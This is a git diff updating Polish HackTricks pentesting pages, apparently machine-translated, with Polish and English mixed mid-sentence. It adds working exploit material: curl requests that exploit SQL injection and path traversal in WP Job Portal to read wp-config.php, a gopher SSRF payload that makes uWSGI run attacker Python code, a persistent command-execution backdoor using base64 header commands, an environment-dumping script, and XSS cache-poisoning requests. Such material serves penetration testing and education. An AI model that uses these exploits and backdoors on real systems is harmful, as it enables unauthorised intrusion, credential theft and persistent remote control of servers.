```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
|
||||
### Wtyczki bezpieczeństwa
|
||||
|
||||
@ -642,12 +642,12 @@ Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
|
||||
- Usuń domyślnego użytkownika **admin**
|
||||
- Używaj **silnych haseł** i **2FA**
|
||||
- Okresowo **przeglądaj** **uprawnienia** użytkowników
|
||||
- **Ogranicz liczbę prób logowania** aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||
- **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP.
|
||||
|
||||
|
||||
### Nieuwierzytelniony SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
|
||||
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – brak `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyna kontrola to **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploitation
|
||||
#### Eksploatacja
|
||||
|
||||
1. Pobierz świeży nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Wstrzyknij dowolne SQL wykorzystując `parentid`:
|
||||
2. Wstrzyknij dowolne SQL, wykorzystując `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -679,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną przeszkodą jest **CSRF nonce**, który można pobrać ze strony z CV.
|
||||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume.
|
||||
|
||||
#### Exploitation
|
||||
#### Eksploatacja
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -703,7 +703,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Źródła
|
||||
## Odnośniki
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
170
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
170
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
@ -0,0 +1,170 @@
|
||||
# WSGI Post-Exploitation Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WSGI Przegląd
|
||||
|
||||
Web Server Gateway Interface (WSGI) to specyfikacja opisująca, jak serwer WWW komunikuje się z aplikacjami webowymi oraz jak aplikacje webowe mogą być łańcuszkowane, aby przetworzyć jedno żądanie. uWSGI jest jednym z najpopularniejszych serwerów WSGI, często używany do serwowania aplikacji webowych w Pythonie.
|
||||
|
||||
## Eksploatacja magicznych zmiennych uWSGI
|
||||
|
||||
uWSGI udostępnia specjalne "magic variables", które mogą być użyte do dynamicznej konfiguracji zachowania serwera. Zmienne te można ustawić poprzez nagłówki HTTP i mogą prowadzić do poważnych luk w zabezpieczeniach, jeśli nie są prawidłowo walidowane.
|
||||
|
||||
### Kluczowe zmienne podatne na eksploatację
|
||||
|
||||
#### `UWSGI_FILE` - Wykonanie dowolnego pliku
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /path/to/python/file.py;
|
||||
```
|
||||
Ta zmienna umożliwia ładowanie i wykonywanie dowolnych plików Pythona jako aplikacji WSGI. Jeśli atakujący może kontrolować ten parametr, może osiągnąć Remote Code Execution (RCE).
|
||||
|
||||
#### `UWSGI_SCRIPT` - Ładowanie skryptu
|
||||
```
|
||||
uwsgi_param UWSGI_SCRIPT module.path:callable;
|
||||
uwsgi_param SCRIPT_NAME /endpoint;
|
||||
```
|
||||
Wczytuje określony skrypt jako nową aplikację. W połączeniu z file upload lub write capabilities, może to prowadzić do RCE.
|
||||
|
||||
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
|
||||
```
|
||||
uwsgi_param UWSGI_MODULE malicious.module;
|
||||
uwsgi_param UWSGI_CALLABLE evil_function;
|
||||
uwsgi_param SCRIPT_NAME /backdoor;
|
||||
```
|
||||
Te parametry pozwalają na ładowanie dowolnych modułów Pythona i wywoływanie w nich konkretnych funkcji.
|
||||
|
||||
#### `UWSGI_SETENV` - Manipulacja zmiennymi środowiskowymi
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
|
||||
```
|
||||
Może służyć do modyfikowania environment variables, potencjalnie wpływając na zachowanie aplikacji lub powodując ładowanie złośliwej konfiguracji.
|
||||
|
||||
#### `UWSGI_PYHOME` - Python Environment Manipulation
|
||||
```
|
||||
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
|
||||
```
|
||||
Zmienia wirtualne środowisko Pythona, potencjalnie ładując złośliwe pakiety lub inne interpretery Pythona.
|
||||
|
||||
#### `UWSGI_CHDIR` - Directory Traversal
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
```
|
||||
Zmienia katalog roboczy przed przetwarzaniem żądań, co może zostać wykorzystane do ataków typu path traversal.
|
||||
|
||||
## SSRF + Gopher do
|
||||
|
||||
### The Attack Vector
|
||||
|
||||
Gdy uWSGI jest dostępny przez SSRF (Server-Side Request Forgery), atakujący mogą wchodzić w interakcję z wewnętrznym socketem uWSGI, aby wykorzystać zmienne magiczne. Jest to szczególnie niebezpieczne, gdy:
|
||||
|
||||
1. Aplikacja ma podatności SSRF
|
||||
2. uWSGI działa na wewnętrznym porcie/socket
|
||||
3. Aplikacja nie waliduje poprawnie zmiennych magicznych
|
||||
|
||||
uWSGI jest dostępny z powodu SSRF, ponieważ plik konfiguracyjny `uwsgi.ini` zawiera: `socket = 127.0.0.1:5000`, co sprawia, że jest dostępny z aplikacji webowej poprzez SSRF.
|
||||
|
||||
### Exploitation Example
|
||||
|
||||
#### Krok 1: Create Malicious Payload
|
||||
|
||||
Najpierw wstrzyknij kod Python do pliku dostępnego dla serwera (zapis pliku wewnątrz serwera, rozszerzenie pliku nie ma znaczenia):
|
||||
```python
|
||||
# Payload injected into a JSON profile file
|
||||
import os
|
||||
os.system("/readflag > /app/profiles/result.json")
|
||||
```
|
||||
#### Krok 2: Przygotuj żądanie protokołu uWSGI
|
||||
Użyj protokołu Gopher, aby wysłać surowe pakiety uWSGI:
|
||||
```
|
||||
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
|
||||
```
|
||||
This payload:
|
||||
- Nawiązuje połączenie z uWSGI na porcie 5000
|
||||
- Ustawia `UWSGI_FILE`, tak by wskazywał na złośliwy plik
|
||||
- Zmusi uWSGI do załadowania i wykonania kodu Pythona
|
||||
|
||||
### uWSGI Protocol Structure
|
||||
|
||||
The uWSGI protocol uses a binary format where:
|
||||
- Zmienne są kodowane jako ciągi poprzedzone informacją o długości
|
||||
- Każda zmienna ma: `[name_length][name][value_length][value]`
|
||||
- Pakiet zaczyna się nagłówkiem zawierającym całkowity rozmiar
|
||||
|
||||
## Post-Exploitation Techniques
|
||||
|
||||
### 1. Persistent Backdoors
|
||||
|
||||
#### File-based Backdoor
|
||||
```python
|
||||
# backdoor.py
|
||||
import subprocess
|
||||
import base64
|
||||
|
||||
def application(environ, start_response):
|
||||
cmd = environ.get('HTTP_X_CMD', '')
|
||||
if cmd:
|
||||
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
|
||||
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
|
||||
else:
|
||||
response = "Backdoor active"
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'text/plain')])
|
||||
return [response.encode()]
|
||||
```
|
||||
Następnie użyj `UWSGI_FILE`, aby załadować ten backdoor:
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
|
||||
uwsgi_param SCRIPT_NAME /admin;
|
||||
```
|
||||
#### Persistence oparta na zmiennych środowiskowych
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
|
||||
```
|
||||
### 2. Ujawnianie informacji
|
||||
|
||||
#### Zrzut zmiennych środowiskowych
|
||||
```python
|
||||
# env_dump.py
|
||||
import os
|
||||
import json
|
||||
|
||||
def application(environ, start_response):
|
||||
env_data = {
|
||||
'os_environ': dict(os.environ),
|
||||
'wsgi_environ': dict(environ)
|
||||
}
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'application/json')])
|
||||
return [json.dumps(env_data, indent=2).encode()]
|
||||
```
|
||||
#### Dostęp do systemu plików
|
||||
Użyj `UWSGI_CHDIR` w połączeniu z serwowaniem plików, aby uzyskać dostęp do wrażliwych plików:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
uwsgi_param UWSGI_FILE /app/file_server.py;
|
||||
```
|
||||
### 3. Privilege Escalation
|
||||
|
||||
#### Socket Manipulation
|
||||
Jeśli uWSGI działa z podwyższonymi uprawnieniami, attackers mogą manipulować socket permissions:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /tmp;
|
||||
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
|
||||
```
|
||||
#### Nadpisanie konfiguracji
|
||||
```python
|
||||
# malicious_config.py
|
||||
import os
|
||||
|
||||
# Override uWSGI configuration
|
||||
os.environ['UWSGI_MASTER'] = '1'
|
||||
os.environ['UWSGI_PROCESSES'] = '1'
|
||||
os.environ['UWSGI_CHEAPER'] = '1'
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [Dokumentacja zmiennych magicznych uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
|
||||
- [Opis rozwiązania IOI SaveData CTF](https://bugculture.io/writeups/web/ioi-savedata)
|
||||
- [Najlepsze praktyki bezpieczeństwa uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -6,65 +6,65 @@
|
||||
|
||||
> **Jaka jest różnica między web cache poisoning a web cache deception?**
|
||||
>
|
||||
> - In **web cache poisoning**, atakujący powoduje, że aplikacja zapisuje złośliwą treść w cache, a ta treść jest serwowana z cache innym użytkownikom aplikacji.
|
||||
> - In **web cache deception**, atakujący powoduje, że aplikacja zapisuje w cache wrażliwe dane należące do innego użytkownika, a następnie atakujący pobiera te dane z cache.
|
||||
> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
|
||||
> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache poufną zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
Cache poisoning ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Skala wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia cache.
|
||||
Cache poisoning ma na celu manipulację client-side cache w celu zmuszenia klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w czasie trwania zanieczyszczenia cache.
|
||||
|
||||
Wykonanie ataku cache poisoning obejmuje kilka kroków:
|
||||
|
||||
1. **Identification of Unkeyed Inputs**: Są to parametry, które, chociaż nie są brane pod uwagę przy tworzeniu cache dla żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ można je wykorzystać do manipulacji cache.
|
||||
2. **Exploitation of the Unkeyed Inputs**: Po zidentyfikowaniu parametrów niewchodzących w klucz cache, kolejnym krokiem jest ustalenie, jak można nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera na korzyść atakującego.
|
||||
3. **Ensuring the Poisoned Response is Cached**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. W ten sposób każdy użytkownik odwiedzający dotkniętą stronę w czasie, gdy cache jest skażony, otrzyma taką odpowiedź.
|
||||
1. **Identyfikacja parametrów niekluczowych**: Są to parametry, które, choć nie są wymagane, aby żądanie było zapisane w cache, mogą zmienić odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ mogą być wykorzystane do manipulacji cache.
|
||||
2. **Wykorzystanie parametrów niekluczowych**: Po zidentyfikowaniu parametrów niekluczowych następnym krokiem jest ustalenie, jak nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
|
||||
3. **Upewnienie się, że skażona odpowiedź jest zapisana w cache**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. Dzięki temu każdy użytkownik odwiedzający zaatakowaną stronę w czasie trwania zanieczyszczenia cache otrzyma skażoną odpowiedź.
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
### Odkrywanie: Sprawdź nagłówki HTTP
|
||||
|
||||
Zazwyczaj, gdy odpowiedź została **zapisana w cache**, pojawi się **nagłówek to wskazujący**; możesz sprawdzić, na które nagłówki powinieneś zwracać uwagę w tym wpisie: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Zwykle, gdy odpowiedź została **zapisana w cache**, pojawi się **nagłówek to wskazujący**; możesz sprawdzić, na które nagłówki zwrócić uwagę w tym wpisie: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Discovery: Caching error codes
|
||||
### Odkrywanie: Kody błędów w cache
|
||||
|
||||
Jeśli podejrzewasz, że odpowiedź jest zapisywana w cache, możesz spróbować **wysłać żądania z nieprawidłowym nagłówkiem**, na co serwer powinien odpowiedzieć **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do zasobu normalnie — jeśli **odpowiedź ma kod 400**, wiesz, że jest podatne (i możesz nawet przeprowadzić DoS).
|
||||
Jeśli uważasz, że odpowiedź jest zapisywana w cache, możesz spróbować **wysłać żądania z niepoprawnym nagłówkiem**, na które powinna zostać zwrócona **odpowiedź ze statusem 400**. Następnie spróbuj uzyskać dostęp do tego żądania normalnie i jeśli **odpowiedź ma status 400**, wiesz, że jest to podatne (i możesz nawet wykonać DoS).
|
||||
|
||||
You can find more options in:
|
||||
Możesz znaleźć więcej opcji w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
Zwróć uwagę jednak, że **czasami tego typu kody statusu nie są zapisywane w cache**, więc ten test może być nierzetelny.
|
||||
Jednak zwróć uwagę, że **czasami tego typu kody statusu nie są zapisywane w cache**, więc ten test może być zawodny.
|
||||
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
### Odkrywanie: Identyfikacja i ocena parametrów niekluczowych
|
||||
|
||||
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For` aby wskazać klientowi, żeby stamtąd załadował skrypt:
|
||||
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) do **brute-force parameters and headers**, które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For` aby wskazać klientowi, żeby załadował skrypt stamtąd:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Wywołaj szkodliwą odpowiedź z back-endu
|
||||
### Wywołaj szkodliwą odpowiedź z serwera back-end
|
||||
|
||||
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
|
||||
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanityzowany** i **gdzie** jest **odbijany** albo wpływa na odpowiedź z nagłówka. Czy można to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez Ciebie kod JS? wykonać DoS?...)
|
||||
|
||||
### Uzyskaj zapis odpowiedzi w cache
|
||||
### Uzyskaj zapisanie odpowiedzi w cache
|
||||
|
||||
Gdy już **zidentyfikujesz** **page**, którą można wykorzystać, który **parameter**/**header** użyć i **jak** ją **abuse**'ować, musisz sprawić, by strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to zająć trochę czasu — może być konieczne powtarzanie prób przez kilka sekund.
|
||||
Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz sprawić, żeby strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to potrwać — może być konieczne wielokrotne próbowanie przez kilka sekund.
|
||||
|
||||
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
|
||||
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w cache i wartość **`hit`** gdy jest zapisane w cache.\
|
||||
Nagłówek **`Cache-Control`** jest również interesujący, by wiedzieć, czy zasób jest cachowany i kiedy nastąpi kolejne odświeżenie cache: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
|
||||
Inny ciekawy nagłówek to **`Vary`**. Ten nagłówek często służy do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza cache**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli atakujący zna `User-Agent` ofiary, którą celuje, może poison the cache dla użytkowników korzystających z tego konkretnego `User-Agent`.
|
||||
|
||||
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
|
||||
Kolejny nagłówek związany z cache to **`Age`**. Określa czas w sekundach, przez jaki obiekt przebywał w cache proxy.
|
||||
|
||||
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **part of the key** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
|
||||
Podczas cachowania żądania bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **nieoczekiwanie traktowane** jako **kluczowane** i **ofiara będzie musiała używać tego samego nagłówka**. Zawsze **testuj** Cache Poisoning w **różnych przeglądarkach**, aby sprawdzić, czy działa.
|
||||
|
||||
## Przykłady wykorzystania
|
||||
|
||||
### Najprostszy przykład
|
||||
|
||||
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
|
||||
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
|
||||
Nagłówek taki jak `X-Forwarded-For` jest odzwierciedlany w odpowiedzi bez sanitizacji.\
|
||||
Możesz wysłać podstawowy payload XSS i poison the cache, tak aby każdy, kto odwiedzi stronę, został XSSed:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
@ -83,21 +83,21 @@ cache-poisoning-to-dos.md
|
||||
|
||||
W **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz:
|
||||
|
||||
- CDN będzie przechowywać w cache wszystko znajdujące się pod `/share/`
|
||||
- CDN NIE dekoduje ani nie normalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą przechowywane w cache** jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie zasobem `/api/auth/session`, który **zawiera auth token**
|
||||
- The CDN will cache anything under `/share/`
|
||||
- The CDN will NOT decode nor normalize `%2F..%2F`, therefore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.
|
||||
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać do wywołania XSS, na przykład, możesz być w stanie wykorzystać XSS w wielu klientach, które ładują złośliwą odpowiedź z cache.
|
||||
Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, mógłbyś być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Zwróć uwagę, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache.
|
||||
Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache.
|
||||
|
||||
### Generowanie rozbieżności przy użyciu separatorów, normalizacji i kropek <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Generowanie rozbieżności za pomocą separatorów, normalizacji i kropek <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Sprawdź:
|
||||
|
||||
@ -106,9 +106,9 @@ Sprawdź:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Cache poisoning przy użyciu path traversal w celu kradzieży API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Cache poisoning z path traversal, aby ukraść API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Ten opis wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak było możliwe skraść OpenAI API key za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie cached bez normalizowania URL przez Cloudflare, co było wykonywane, gdy żądanie docierało do serwera WWW.
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było wykradzenie OpenAI API key przy użyciu URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie cachowane bez normalizacji URL przez Cloudflare, która była wykonywana dopiero gdy żądanie dotarło do serwera WWW.
|
||||
|
||||
To jest też lepiej wyjaśnione w:
|
||||
|
||||
@ -117,18 +117,18 @@ To jest też lepiej wyjaśnione w:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Używanie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Użycie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Czasami będziesz musiał **exploitować kilka unkeyed inputs**, aby móc nadużyć cache. Na przykład możesz znaleźć **Open redirect**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez siebie i `X-Forwarded-Scheme` na `http`. **Jeśli** **serwer** **przekierowuje** wszystkie żądania **HTTP** **na HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania, możesz kontrolować, dokąd strona zostanie przekierowana.
|
||||
Czasami będziesz musiał **exploit several unkeyed inputs**, aby móc nadużyć cache. Na przykład możesz znaleźć **Open redirect**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez Ciebie i `X-Forwarded-Scheme` na `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania, możesz kontrolować, gdzie strona jest skierowana przez to przekierowanie.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Wykorzystywanie przy ograniczonym nagłówku `Vary`
|
||||
### Eksploatacja przy ograniczonym nagłówku `Vary`
|
||||
|
||||
Jeśli ustalisz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek odpowiedzi **`Vary`** wskazuje **`User-Agent`**, musisz znaleźć sposób, aby exfiltrate User-Agent ofiary i poison the cache używając tego User-Agenta:
|
||||
